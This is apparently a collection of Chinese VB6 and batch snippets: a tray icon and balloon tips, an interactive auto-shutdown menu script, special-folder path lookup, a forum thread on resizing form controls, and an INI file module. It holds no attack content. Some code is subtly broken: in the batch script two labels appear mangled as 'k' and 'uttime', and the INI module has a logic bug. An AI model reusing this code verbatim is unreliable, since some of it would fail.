Public Const WM_MOUSEMOVE = &H200       'mouse_move

Public Const WM_LBUTTONDOWN = &H201     'mouse_down
Public Const WM_LBUTTONUP = &H202       'mouse_up
Public Const WM_LBUTTONDBLCLK = &H203   'mouse_doubleclick

Public Const WM_RBUTTONDOWN = &H204
Public Const WM_RBUTTONUP = &H205
Public Const WM_RBUTTONDBLCLK = &H206

Public Const SW_RESTORE = 9
Public Const SW_HIDE = 0

Public Type NOTIFYICONDATA
cbSize As Long              ' 结构大小(字节)
hWnd As Long                ' 处理消息的窗口的句柄
uID As Long                 ' 唯一的标识符
uFlags As Long              ' Flags
uCallbackMessage As Long    ' 处理消息的窗口接收的消息
hIcon As Long               ' 托盘图标句柄
szTip As String * MAX_TOOLTIP   ' Tooltip 提示文本
End Type

Public nfIconData As NOTIFYICONDATA

'---------API 1-----------
Public Declare Function Shell_NotifyIcon Lib "shell32.dll" Alias "Shell_NotifyIconA" _
( _
ByVal dwMessage As Long, _
lpData As NOTIFYICONDATA _
) As Long
'--------API 2-----------
Public Declare Function ShowWindow Lib "user32" _
( _
ByVal hWnd As Long, _
ByVal nCmdShow As Long _
) As Long

'4、在Form1中写下如下代码: 
Private Sub Form_Load()

'以下把程序放入System Tray====================================System Tray Begin
With nfIconData
.hWnd = Me.hWnd
.uID = Me.Icon
.uFlags = NIF_ICON Or NIF_MESSAGE Or NIF_TIP
.uCallbackMessage = WM_MOUSEMOVE
.hIcon = Me.Icon.Handle
'定义鼠标移动到托盘上时显示的Tip
.szTip = App.title & vbNullChar
.cbSize = Len(nfIconData)
End With
Call Shell_NotifyIcon(NIM_ADD, nfIconData)
'=============================================================System Tray End
Me.Hide
End Sub
'-----------Form_QueryUnload:delete the NotifyIcon-------------
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Call Shell_NotifyIcon(NIM_DELETE, nfIconData)
End Sub
'-----------Form_mouseMove:select the case for the mouse event---------
Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Dim lMsg As Single
lMsg = X / Screen.TwipsPerPixelX
Select Case lMsg
Case WM_LBUTTONUP           '单击左键,显示窗体
ShowWindow Me.hWnd, SW_RESTORE
'下面两句的目的是把窗口显示在窗口最顶层
Me.Show
Me.SetFocus
'Case WM_RBUTTONUP
''PopupMenu m_pop '如果是在系统Tray图标上点右键,则弹出菜单m_pop
'' Case WM_MOUSEMOVE
'' Case WM_LBUTTONDOWN
'' Case WM_LBUTTONDBLCLK
'' Case WM_RBUTTONDOWN
'' Case WM_RBUTTONDBLCLK
'' Case Else
End Select
End Sub


7、现在将程序保存起来运行看看系统托盘处是否增加了一个本工程的图标。单击此图标,Form1就自动弹出来了。
}}}
{{{
系统托盘汽泡提示
'Form里:  

'____________________________________________________  
Private Declare Function Shell_NotifyIcon Lib "shell32.dll" Alias "Shell_NotifyIconA" (ByVal dwMessage As Long, lpData As NOTIFYICONDATA) As Long  

Private Type NOTIFYICONDATA  
  cbSize As Long       ' 结构大小(字节)  
  hwnd As Long        ' 处理消息的窗口的句柄  
  uId As Long         ' 唯一的标识符  
  uFlags As Long       ' Flags  
  uCallBackMessage As Long  ' 处理消息的窗口接收的消息  
  hIcon As Long        ' 托盘图标句柄  
  szTip As String * 128    ' Tooltip 提示文本  
  dwState As Long       ' 托盘图标状态  
  dwStateMask As Long     ' 状态掩码  
  szInfo As String * 256   ' 气球提示文本  
  uTimeoutOrVersion As Long  ' 气球提示消失时间或版本  
                ' uTimeout - 气球提示消失时间(单位:ms, 10000 -- 30000)  
                ' uVersion - 版本(0 for V4, 3 for V5)  
  szInfoTitle As String * 64 ' 气球提示标题  
  dwInfoFlags As Long     ' 气球提示图标  
End Type  

' dwState to NOTIFYICONDATA structure  
Private Const NIS_HIDDEN = &H1       ' 隐藏图标  
Private Const NIS_SHAREDICON = &H2     ' 共享图标  

' dwInfoFlags to NOTIFIICONDATA structure  
Private Const NIIF_NONE = &H0        ' 无图标  
Private Const NIIF_INFO = &H1        ' "消息"图标  
Private Const NIIF_WARNING = &H2      ' "警告"图标  
Private Const NIIF_ERROR = &H3       ' "错误"图标  

' uFlags to NOTIFYICONDATA structure  
Private Const NIF_ICON As Long = &H2  
Private Const NIF_INFO As Long = &H10  
Private Const NIF_MESSAGE As Long = &H1  
Private Const NIF_STATE As Long = &H8  
Private Const NIF_TIP As Long = &H4  

' dwMessage to Shell_NotifyIcon  
Private Const NIM_ADD As Long = &H0  
Private Const NIM_DELETE As Long = &H2  
Private Const NIM_MODIFY As Long = &H1  
Private Const NIM_SETFOCUS As Long = &H3  
Private Const NIM_SETVERSION As Long = &H4  


Private Sub Form_Load()  
  Dim IconData As NOTIFYICONDATA  
  Dim title As String  
  title = "阿哈!这可是托盘气泡唷!" & vbNullChar  
  With IconData  
    .cbSize = Len(IconData)  
    .hwnd = Me.hwnd  
    .uId = 0  
    .uFlags = NIF_TIP Or NIF_ICON Or NIF_MESSAGE Or NIF_INFO Or NIF_STATE  
    .uCallBackMessage = WM_NOTIFYICON  
    .szTip = title  
    .hIcon = Me.Icon.Handle  
    .dwState = 0  
    .dwStateMask = 0  
    .szInfo = "托盘气泡已经弹出啦!" & vbNullChar  
    .szInfoTitle = title  
    .dwInfoFlags = NIIF_INFO  
    .uTimeoutOrVersion = 10000  
  End With  
  Shell_NotifyIcon NIM_ADD, IconData  
  preWndProc = SetWindowLong(Me.hwnd, GWL_WNDPROC, AddressOf WindowProc)  

End Sub  


Private Sub Form_Unload(Cancel As Integer)  
  ' 删除托盘区图标  
  Dim IconData As NOTIFYICONDATA  
  With IconData  
    .cbSize = Len(IconData)  
    .hwnd = Me.hwnd  
    .uId = 0  
    .uFlags = NIF_TIP Or NIF_ICON Or NIF_MESSAGE  
    .uCallBackMessage = WM_NOTIFYICON   
	.szTip = "托盘程序"  
    .hIcon = Me.Icon.Handle 
    End With  
  Shell_NotifyIcon NIM_DELETE, IconData  
  SetWindowLong Me.hwnd, GWL_WNDPROC, preWndProc  

  ' 卸载所有窗体  
  Dim frm As Form  
  For Each frm In Forms  
    Unload frm  
  Next  

End Sub  

'_______________________________________________________________  
'  
'________________________________________________________________  

'Module里:  

Option Explicit  

Public Declare Function SetWindowLong Lib "user32.dll" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long  
Private Declare Function CallWindowProc Lib "user32.dll" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long  

Public Const WM_RBUTTONUP = &H205  
Public Const WM_USER = &H400  
Public Const WM_NOTIFYICON = WM_USER + 1      ' 自定义消息  
Public Const WM_LBUTTONDBLCLK = &H203  
Public Const GWL_WNDPROC = (-4)  

' 关于气球提示的自定义消息, 2000下不产生这些消息  
Public Const NIN_BALLOONSHOW = (WM_USER + &H2)   ' 当 Balloon Tips 弹出时执行  
Public Const NIN_BALLOONHIDE = (WM_USER + &H3)   ' 当 Balloon Tips 消失时执行(如 SysTrayIcon 被删除),  
                          ' 但指定的 TimeOut 时间到或鼠标点击 Balloon Tips 后的消失不发送此消息  
Public Const NIN_BALLOONTIMEOUT = (WM_USER + &H4)  ' 当 Balloon Tips 的 TimeOut 时间到时执行  
Public Const NIN_BALLOONUSERCLICK = (WM_USER + &H5) ' 当鼠标点击 Balloon Tips 时执行。  
                          ' 注意:在XP下执行时 Balloon Tips 上有个关闭按钮,  
                          ' 如果鼠标点在按钮上将接收到 NIN_BALLOONTIMEOUT 消息。  

Public preWndProc As Long  

' Form1 窗口入口函数  
Function WindowProc(ByVal hwnd As Long, ByVal msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long  
  ' 拦截 WM_NOTIFYICON 消息  
  If msg = WM_NOTIFYICON Then  
    Select Case lParam  
      Case WM_RBUTTONUP  
        ' 右键单击图标是运行这里的代码, 可以在这里添加弹出右键菜单的代码  
      Case WM_LBUTTONDBLCLK  
        Unload Form1  
      Case NIN_BALLOONSHOW  
        Debug.Print "显示气球提示"  
      Case NIN_BALLOONHIDE  
        Debug.Print "删除托盘图标"  
      Case NIN_BALLOONTIMEOUT  
        Debug.Print "气球提示消失"  
      Case NIN_BALLOONUSERCLICK  
        Debug.Print "单击气球提示"  
    End Select  
  End If  
  WindowProc = CallWindowProc(preWndProc, hwnd, msg, wParam, lParam)  
End Function    
 
}}}
{{{
自动关机批处理  
复制内容到剪贴板代码:  
 
@ECHO off  
TITLE 自动关机程序  
:start  
CLS  
COLOR 1f  
rem 使用COLOR命令对控制台输出颜色进行更改  
MODE con: COLS=41 LINES=18  
rem MODE语句为设定窗体的宽和高  
set tm1=%time:~0,2%  
set tm2=%time:~3,2%  
set tm3=%time:~6,2%  
ECHO %date% %tm1%点%tm2%分%tm3%秒  
ECHO =========================================  
ECHO 请选择要进行的操作,然后按回车  
ECHO ───────────────  
ECHO.  
ECHO 1. 定时关机  
ECHO 2. 倒计时关机  
ECHO 3. 删除定时关机任务  
ECHO 4. 查看任务状态  
ECHO 5. 刷新当前时间  
ECHO 6. 重新启动  
ECHO 7. 锁定计算机  
ECHO 8. 注销  
ECHO 9. 退出  
ECHO.  
:cho  
SET Choice=  
SET /P Choice=选择:  
rem 设定变量"Choice"为用户输入的字符  
IF NOT "%Choice%"=="" SET Choice=%Choice:~0,1%  
rem 如果输入大于1位,取第1位,比如输入132,则返回值为1  
ECHO.  
IF /I "%Choice%"=="1" GOTO SetHour  
IF /I "%Choice%"=="2" GOTO outtime  
IF /I "%Choice%"=="3" GOTO delAt  
IF /I "%Choice%"=="4" GOTO view  
IF /I "%Choice%"=="5" GOTO start  
IF /I "%Choice%"=="6" GOTO restart  
IF /I "%Choice%"=="7" GOTO lock  
IF /I "%Choice%"=="8" GOTO logoff  
IF /I "%Choice%"=="9" GOTO end  
rem 为避免出现返回值为空或含空格而导致程序异常,需在变量外另加双引号  
rem 注意,IF语句需要双等于号  
rem 如果输入的字符不是以上数字,将返回重新输入  
ECHO 选择无效,请重新输入  
ECHO.  
GOTO cho  
:SetHour  
CLS  
ECHO.  
SET ask=  
SET /p ask=是否设定为每天执行关机命令(y/n):  
IF NOT "%ask%"=="" SET ask=%ask:~0,1%  
IF /I "%ask%"=="y" GOTO yes  
IF /I "%ask%"=="n" GOTO no  
GOTO SetHour  
:yes  
ECHO 请指定24小时制式时间,格式为 小时:分钟  
SET shutdowntime=  
SET /p shutdowntime=输入:  
at %shutdowntime% /every:M,T,W,Th,F,S,Su tsshutdn 0 /delay:0 /powerdown >nul  
rem 设定为每周的星期一至星期日,即为每天  
IF NOT errorlevel 1 GOTO ok  
rem 如果输入正确,就执行ok段的语句  
ECHO %shutdowntime% 不是标准的时间格式,请重新输入  
ECHO.  
GOTO yes  
:no  
ECHO 请指定24小时制式时间,格式为 小时:分钟  
SET shutdowntime=  
SET /p shutdowntime=输入:  
at %shutdowntime% tsshutdn 0 /delay:0 /powerdown >nul  
IF NOT errorlevel 1 GOTO ok  
ECHO %shutdowntime% 不是标准的时间格式,请重新输入  
ECHO.  
GOTO no  
k  
ECHO.  
SET h=%shutdowntime:~1,1%  
SET ah=%shutdowntime:~0,1%  
SET am=%shutdowntime:~2,2%  
SET bh=%shutdowntime:~0,2%  
SET bm=%shutdowntime:~3,2%  
IF "%h%"==":" (  
SET HM=%ah%时%am%分  
) ELSE (  
SET HM=%bh%时%bm%分)  
rem 如果输入h:mm则HM=h时mm分,否则HM=hh时mm分  
IF /I "%ask%"=="y" ECHO 系统将于每天的%HM%关闭  
IF /I "%ask%"=="n" ECHO 系统将于%HM%关闭  
ECHO 设定完毕! 按任意键继续...  
PAUSE >nul  
GOTO start  
uttime  
CLS  
ECHO.  
ECHO 请输入倒计时秒数  
ECHO ────────  
ECHO (设定后要取消,单击"确定"后按Ctrl+C键两次)  
SET timed=  
SET /p timed=输入:  
tsshutdn %timed% /delay:0 /powerdown >nul  
IF not errorlevel 1 GOTO ok  
ECHO %timed% 是无效的关机时间,请重新输入  
ECHO.  
GOTO outtime  
:delAt  
cls  
echo.  
at /del /y  
echo 定时关机任务已取消,按任意键继续...  
pause >nul  
GOTO start  
:view  
MODE con: COLS=85 LINES=18  
COLOR 70  
ECHO.  
at  
ECHO 按任意键继续...  
PAUSE >nul  
GOTO start  
:restart  
shutdown -r -t 0  
:lock  
rundll32.exe user32.dll,LockWorkStation  
goto start  
:logoff  
logoff  
:end  
exit  
}}}
{{{
两个API函数,这两个函数分别是SHGetSpecialFolderLocation和SHGetPathFromIDList,这就是我们用来获得各种路径的武器。 
函数声明: 
Private Declare Function SHGetSpecialFolderLocation Lib "Shell32" (ByVal hwndOwner As Long, ByVal nFolder As Integer, ppidl As Long) As Long 
Private Declare Function SHGetPathFromIDList Lib "Shell32" Alias "SHGetPathFromIDListA" (ByVal pidl As Long, ByVal szPath As String) As Long 

函数功能及参数说明: 
SHGetSpecialFolderLocation:获得某个特殊目录在特殊目录列表中的位置;它有三个参数,第一个参数是用来指定所有者窗口的,在应用中一般我们写上"0"就可以了;第二个参数是一个整数id,它决定要查找的目录是哪一个目录,它的取值可能如下: 
&H0& '桌面 
&H2& '程序集 
&H5& '我的文档 
&H6& '收藏夹 
&H7& '启动 
&H8& '最近打开的文件 
&H9& '发送 
&HB& '开始菜单 
&H13& '网上邻居 
&H14& '字体 
&H15& 'ShellNew 
&H1A& 'Application Data 
&H1B& 'PrintHood 
&H20& '网页临时文件 
&H21& 'Cookies目录 
&H22& '历史 
第三个参数是获得的特殊目录在特殊目录列表中的地址。 

SHGetPathFromIDList:根据某特殊目录在特殊目录列表中的地址获取该目录的准确路径。它有两个参数,第一个参数是特殊目录在特殊目录列表中的地址,也即上一个函数所获得的地址;第二个参数是一个字符串型数据,用来保存返回的特殊目录的准确路径。 
比如:为了获得DeskTop的路径,首先需调用SHGetSpecialFolderLocation获得DeskTop在特殊目录列表中的位置Pid,然后调用SHGetPathFromIDList函数获得Pid指向的列表内容,即DeskTop的准确路径。 

下面是我编写的一个用来获取Windows各种目录路径的例子,供大家参考。如果您有什么问题或建议,欢迎给我来信(xuhaoliang@21cn.com)。 

程序界面如下: 



程序代码如下: 
Private Declare Function SHGetSpecialFolderLocation Lib "Shell32" (ByVal hwndOwner As Long, ByVal nFolder As Integer, ppidl As Long) As Long 
Private Declare Function SHGetPathFromIDList Lib "Shell32" Alias "SHGetPathFromIDListA" (ByVal pidl As Long, ByVal szPath As String) As Long 
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long 
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long 
Private Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long 
Const MAX_LEN = 200 '字符串最大长度 
Const DESKTOP = &H0& '桌面 
Const PROGRAMS = &H2& '程序集 
Const MYDOCUMENTS = &H5& '我的文档 
Const MYFAVORITES = &H6& '收藏夹 
Const STARTUP = &H7& '启动 
Const RECENT = &H8& '最近打开的文件 
Const SENDTO = &H9& '发送 
Const STARTMENU = &HB& '开始菜单 
Const NETHOOD = &H13& '网上邻居 
Const FONTS = &H14& '字体 
Const SHELLNEW = &H15& 'ShellNew 
Const APPDATA = &H1A& 'Application Data 
Const PRINTHOOD = &H1B& 'PrintHood 
Const PAGETMP = &H20& '网页临时文件 
Const COOKIES = &H21& 'Cookies目录 
Const HISTORY = &H22& '历史 

Private Sub Command2_Click() 
End 
End Sub 

Private Sub Form_Load() 
Dim sTmp As String * MAX_LEN '存放结果的固定长度的字符串 
Dim nLength As Long '字符串的实际长度 
Dim pidl As Long '某特殊目录在特殊目录列表中的位置 
'*************************获得Windows目录********************************** 
Length = GetWindowsDirectory(sTmp, MAX_LEN) 
txtWin.Text = Left(sTmp, Length) 
'*************************获得System目录*********************************** 
Length = GetSystemDirectory(sTmp, MAX_LEN) 
txtSystem.Text = Left(sTmp, Length) 
'*************************获得Temp目录*********************************** 
Length = GetTempPath(MAX_LEN, sTmp) 
txtTemp.Text = Left(sTmp, Length) 
'*************************获得DeskTop目录********************************** 
SHGetSpecialFolderLocation 0, DESKTOP, pidl 
SHGetPathFromIDList pidl, sTmp 
txtDesktop.Text = Left(sTmp, InStr(sTmp, Chr(0)) - 1) 
'*************************获得发送到目录********************************** 
SHGetSpecialFolderLocation 0, SENDTO, pidl 
SHGetPathFromIDList pidl, sTmp 
txtSendTo.Text = Left(sTmp, InStr(sTmp, Chr(0)) - 1) 
'*************************获得我的文档目录********************************* 
SHGetSpecialFolderLocation 0, MYDOCUMENTS, pidl 
SHGetPathFromIDList pidl, sTmp 
txtDocument.Text = Left(sTmp, InStr(sTmp, Chr(0)) - 1) 
'*************************获得程序集目录*********************************** 
SHGetSpecialFolderLocation 0, PROGRAMS, pidl 
SHGetPathFromIDList pidl, sTmp 
txtProgram.Text = Left(sTmp, InStr(sTmp, Chr(0)) - 1) 
'*************************获得启动目录************************************* 
SHGetSpecialFolderLocation 0, STARTUP, pidl 
SHGetPathFromIDList pidl, sTmp 
txtStart.Text = Left(sTmp, InStr(sTmp, Chr(0)) - 1) 
'*************************获得开始菜单目录********************************* 
SHGetSpecialFolderLocation 0, STARTMENU, pidl 
SHGetPathFromIDList pidl, sTmp 
txtStartMenu.Text = Left(sTmp, InStr(sTmp, Chr(0)) - 1) 
'*************************获得收藏夹目录*********************************** 
SHGetSpecialFolderLocation 0, MYFAVORITES, pidl 
SHGetPathFromIDList pidl, sTmp 
txtFavorites.Text = Left(sTmp, InStr(sTmp, Chr(0)) - 1) 
'**********************获得最后打开的文件目录******************************* 
SHGetSpecialFolderLocation 0, RECENT, pidl 
SHGetPathFromIDList pidl, sTmp 
txtRecent.Text = Left(sTmp, InStr(sTmp, Chr(0)) - 1) 
'*************************获得网上邻居目录********************************* 
SHGetSpecialFolderLocation 0, NETHOOD, pidl 
SHGetPathFromIDList pidl, sTmp 
txtNetHood.Text = Left(sTmp, InStr(sTmp, Chr(0)) - 1) 
'*************************获得字体目录********************************** 
SHGetSpecialFolderLocation 0, FONTS, pidl 
SHGetPathFromIDList pidl, sTmp 
txtFonts.Text = Left(sTmp, InStr(sTmp, Chr(0)) - 1) 
'*************************获得Cookies目录********************************** 
SHGetSpecialFolderLocation 0, COOKIES, pidl 
SHGetPathFromIDList pidl, sTmp 
txtCookies.Text = Left(sTmp, InStr(sTmp, Chr(0)) - 1) 
'*************************获得历史目录********************************** 
SHGetSpecialFolderLocation 0, HISTORY, pidl 
SHGetPathFromIDList pidl, sTmp 
txtHistory.Text = Left(sTmp, InStr(sTmp, Chr(0)) - 1) 
'***********************获得网页临时文件目录******************************* 
SHGetSpecialFolderLocation 0, PAGETMP, pidl 
SHGetPathFromIDList pidl, sTmp 
txtPageTmp.Text = Left(sTmp, InStr(sTmp, Chr(0)) - 1) 
'*************************获得ShellNew目录********************************* 
SHGetSpecialFolderLocation 0, SHELLNEW, pidl 
SHGetPathFromIDList pidl, sTmp 
txtShellNew.Text = Left(sTmp, InStr(sTmp, Chr(0)) - 1) 
'***********************获得Application Data目录***************************** 
SHGetSpecialFolderLocation 0, APPDATA, pidl 
SHGetPathFromIDList pidl, sTmp 
txtAppData.Text = Left(sTmp, InStr(sTmp, Chr(0)) - 1) 
'*************************获得PrintHood目录********************************* 
SHGetSpecialFolderLocation 0, PRINTHOOD, pidl 
SHGetPathFromIDList pidl, sTmp 
txtPrintHood.Text = Left(sTmp, InStr(sTmp, Chr(0)) - 1) 
End Sub
}}}
{{{
1 发一段抄袭代码:一劳永逸让VB自动改变控件大小  
 Option Explicit 
Private FormOldWidth As Long 
   '保存窗体的原始宽度 
Private FormOldHeight As Long 
   '保存窗体的原始高度 

'在调用ResizeForm前先调用本函数 
Public Sub ResizeInit(FormName As Form) 
  Dim Obj As Control 
  FormOldWidth = FormName.ScaleWidth 
  FormOldHeight = FormName.ScaleHeight 
  On Error Resume Next 
  For Each Obj In FormName 
   Obj.Tag = Obj.Left & " " & Obj.Top & " " _ 
      & Obj.Width & " " & Obj.Height & " " 
  Next Obj 
  On Error GoTo 0 
End Sub 

'按比例改变表单内各元件的大小,在调用ReSizeForm前先调用ReSizeInit函数 
Public Sub ResizeForm(FormName As Form) 
  Dim Pos(4) As Double 
  Dim I As Long, TempPos As Long, StartPos As Long 
  Dim Obj As Control 
  Dim ScaleX As Double, ScaleY As Double 

  ScaleX = FormName.ScaleWidth / FormOldWidth 
  '保存窗体宽度缩放比例 
  ScaleY = FormName.ScaleHeight / FormOldHeight 
  '保存窗体高度缩放比例 
  On Error Resume Next 
  For Each Obj In FormName 
   StartPos = 1 
   For I = 0 To 4 
    '读取控件的原始位置与大小 

    TempPos = InStr(StartPos, Obj.Tag, " ", vbTextCompare) 
    If TempPos > 0 Then 
     Pos(I) = Mid(Obj.Tag, StartPos, TempPos - StartPos) 
     StartPos = TempPos + 1 
    Else 
     Pos(I) = 0 
    End If 
    '根据控件的原始位置及窗体改变大小的比例对控件重新定位与改变大小 
    Obj.Move Pos(0) * ScaleX, Pos(1) * ScaleY, _ 
         Pos(2) * ScaleX, Pos(3) * ScaleY 
   Next I 
  Next Obj 
  On Error GoTo 0 
End Sub 

Private Sub Form_Load() 
  Call ResizeInit(Me)  '在程序装入时必须加入 
End Sub 

Private Sub Form_Resize() 
  Call ResizeForm(Me)  '确保窗体改变时控件随之改变 
End Sub 

   例中给出了二个函数: ResizeInit 和 ResizeForm ,在调用 ResizeForm 之前必须先调用 ResizeInit。你可以将本程序拷到窗体代码段里,然后在窗体里加入任意控件即可进行测试。 

声明:本代码是我在网上看到的,感觉很好用(我是vb菜鸟,对我来说很好用),所以发给大家,希望大家喜欢!不喜欢的可以拍我,没有关系的! 
 作者: 病毒8号   2006-5-15 15:29   回复此发言    

--------------------------------------------------------------------------------
 
4 回复:发一段抄袭代码:一劳永逸让VB自动改变控件大小  
 发现这个程序的一个问题,程序不能自动调整combo控件和drive控件的大小. 
那个高手帮助改一下,看看能不能改好?  
  
 作者: 病毒8号   2006-5-16 09:53   回复此发言    
--------------------------------------------------------------------------------
 
13 回复:发一段抄袭代码:一劳永逸让VB自动改变控件大小  
 这个程序可以用在PICTURE 中吗?为什么我移植了一下不行? 
是不是PICTURE没有这个像窗体一样包容控件的功能.  
On Error Resume Next  
  For Each Obj In picture  
   Obj.Tag = Obj.Left & " " & Obj.Top & " " _  
      & Obj.Width & " " & Obj.Height & " "  
  Next Obj  
 
  
 作者: zfm634   2007-5-9 14:35   回复此发言    
 
--------------------------------------------------------------------------------
 
15 回复:发一段抄袭代码:一劳永逸让VB自动改变控件大小  
 最小化时候 不知道会不会出错。。。  
 
  
 作者: 珊瑚水岸   2007-5-21 21:30   回复此发言    
 
--------------------------------------------------------------------------------
 
16 回复:发一段抄袭代码:一劳永逸让VB自动改变控件大小  
 combo 和 Drive 控件只有Top,Left,Width属性,没有Height属性.  
 
  
 作者: blueglass2   2007-5-22 10:52   回复此发言    
--------------------------------------------------------------------------------
 
18 回复:发一段抄袭代码:一劳永逸让VB自动改变控件大小  
 偶给改进了下,效果比还原的好,效率比原来的高,代码更简捷,还支持ComBox和DriveListBox控件 

'按比例改变表单内各元件的大小,在调用ReSizeForm前先调用ReSizeInit函数 
Public Sub ResizeForm(FormName As Form) 
  Dim Pos() As String 
  Dim Obj As Control 
  Dim SX As Double, SY As Double 
   
  SX = FormName.ScaleWidth / FormOldWidth 
  '保存窗体宽度缩放比例 
  SY = FormName.ScaleHeight / FormOldHeight 
  '保存窗体高度缩放比例 
  On Error Resume Next 
  For Each Obj In FormName 
     If Len(Obj.Tag) > 0 Then 
       Pos = Split(Obj.Tag, " ") 
       If TypeOf Obj Is ComboBox Or TypeOf Obj Is DriveListBox Then 
         Obj.Move Pos(0) * SX, Pos(1) * SY, Pos(2) * SX 
       Else 
         Obj.Move Pos(0) * SX, Pos(1) * SY, Pos(2) * SX, Pos(3) * SY 
       End If 
     End If 
  Next Obj 
  Err.Clear 
  On Error GoTo 0 
End Sub   
 作者: 我爱舞女泪   2007-5-24 11:02   回复此发言    
--------------------------------------------------------------------------------
 
21 回复:发一段抄袭代码:一劳永逸让VB自动改变控件大小  
 '嘻嘻,简化成这个样子也许已经到顶了吧。 
Dim oldW&, oldH&, SX#, SY#, obj As Control, Pos$() 
Sub Form_Load() 
Call ResizeInit(Form1) 
End Sub 
Sub Form_Resize() 
Call ResizeForm(Form1) 
End Sub 
Sub ResizeInit(f As Form) 
oldW = f.ScaleWidth: oldH = f.ScaleHeight 
For Each obj In f 
With obj 
.Tag = .Left & Chr(32) & .Top & Chr(32) & .Width & Chr(32) & .Height 
End With 
Next 
End Sub 
Sub ResizeForm(f As Form) 
SX = f.ScaleWidth / oldW: SY = f.ScaleHeight / oldH 
For Each obj In f 
 Pos = Split(obj.Tag, Chr(32)) 
 obj.Move Pos(0) * SX, Pos(1) * SY, Pos(2) * SX, Pos(3) * SY 
Next 
End Sub  
 
  
 作者: blueglass2   2007-7-28 17:52   回复此发言    
 
--------------------------------------------------------------------------------
 
22 回复:发一段抄袭代码:一劳永逸让VB自动改变控件大小  
 太感谢各位了!  
 
  
 作者: jay9an   2007-7-28 18:49   回复此发言    
 
--------------------------------------------------------------------------------
}}}
{{{
VB6中一个非常好用的读写Ini文件的模块  
 网上读写Ini文件的例子只有几篇相同的文章,而并不好用,奇怪的是各网站都是同样的例程,高手也就罢了,三下五除二就搞定,初学者会被搞得一头雾水,看着一个好好的模块就是不能用。 
        所以我整理了一下(最早是在腾讯答一个贴子时写的),这个也就是修改了一下,不是我自已的发明(至于这个代码起先不知是谁写的),不过非常的好用  

新建模块(建议不使用注册表) 命名为rwini 
'ini文件在有回车换行符会出错,经过测试,汉字要小于86字节,英言文要小于143字节才能返回列表框。(这是我以前的code,是记录列表框内容的)  
Option Explicit  
Public iniFileName As String  
Public Declare Function GetPrivateProfileInt Lib "kernel32" Alias "GetPrivateProfileIntA" (ByVal lpApplicationName As String, ByVal lpKeyName As String, ByVal nDefault As Long, ByVal lpFileName As String) As Long  
Public Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long  
Public Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long  

'****************************************获取Ini字符串值(Function)******************************************  
Function GetIniS(ByVal SectionName As String, ByVal KeyWord As String, ByVal DefString As String) As String  
Dim ResultString As String * 144, Temp As Integer  
Dim s As String, i As Integer  
Temp% = GetPrivateProfileString(SectionName, KeyWord, "", ResultString, 144, AppProFileName(iniFileName))  
'检索关键词的值  
If Temp% > 0 Then '关键词的值不为空  
s = ""  
For i = 1 To 144  
If Asc(Mid$(ResultString, i, 1)) = 0 Then  
Exit For  
Else  
s = s & Mid$(ResultString, i, 1)  
End If  
Next  
Else  
Temp% = WritePrivateProfileString(SectionName, KeyWord, DefString, AppProFileName(iniFileName))  
'将缺省值写入INI文件  
s = DefString  
End If  
GetIniS = s  
End Function  

'**************************************获取Ini数值(Function)***************************************************  
Function GetIniN(ByVal SectionName As String, ByVal KeyWord As String, ByVal DefValue As Long) As Integer  
Dim d As Long, s As String  
d = DefValue  
GetIniN = GetPrivateProfileInt(SectionName, KeyWord, DefValue, AppProFileName(iniFileName))  
If d <> DefValue Then  
s = "" & d  
d = WritePrivateProfileString(SectionName, KeyWord, s, AppProFileName(iniFileName))  
End If  
End Function  

'***************************************写入字符串值(Sub)**************************************************  
Sub SetIniS(ByVal SectionName As String, ByVal KeyWord As String, ByVal ValStr As String)  
Dim res%  
res% = WritePrivateProfileString(SectionName, KeyWord, ValStr, AppProFileName(iniFileName))  
End Sub  
'****************************************写入数值(Sub)******************************************************  
Sub SetIniN(ByVal SectionName As String, ByVal KeyWord As String, ByVal ValInt As Long)  

 
2 VB6中一个非常好用的读写Ini文件的模块  
 Dim res%, s$  
s$ = Str$(ValInt)  
res% = WritePrivateProfileString(SectionName, KeyWord, s$, AppProFileName(iniFileName))  
End Sub  


''这是我自已不知道怎样清除一个键(keyword) 时 
写的一个清除字符串值的过程,是有write函数写入一个空的值实现的,'Sub DelIniS(ByVal SectionName As String, ByVal KeyWord As String)  
'Dim retval As Integer  
'retval = WritePrivateProfileString(SectionName, KeyWord, "", AppProFileName(iniFileName))  
'End Sub  
'其实0&表示前面的一个被清除,我多写了一个“”,如果是清除section就少写一个Key多一个“”。  

'***************************************清除KeyWord"键"(Sub)*************************************************  
Sub DelIniKey(ByVal SectionName As String, ByVal KeyWord As String)  
Dim RetVal As Integer  
RetVal = WritePrivateProfileString(SectionName, KeyWord, 0&, AppProFileName(iniFileName))  
End Sub  

'如果是清除section就少写一个Key多一个“”。  
'**************************************清除 Section"段"(Sub)***********************************************  
Sub DelIniSec(ByVal SectionName As String) '清除section  
Dim RetVal As Integer  
RetVal = WritePrivateProfileString(SectionName, 0&, "", AppProFileName(iniFileName))  
End Sub  

'*************************************定义Ini文件名(Function)***************************************************  
'定义ini文件名  
Function AppProFileName(iniFileName)  
AppProFileName = App.Path & "\" & iniFileName & ".ini"  
End Function  

####################################################################### 


'用法: 首先 定义iniFileName="文件名" 不需要 加ini后缀  
'这就是说,你可以赋值给iniFileName就可以写入记录,而且你可以随时写入不同的ini文件(不管这个文件是否已存在),通过修改这个公用变量。 

'然后   DelInikey(ByVal SectionName As String, ByVal KeyWord As String) 清除键  
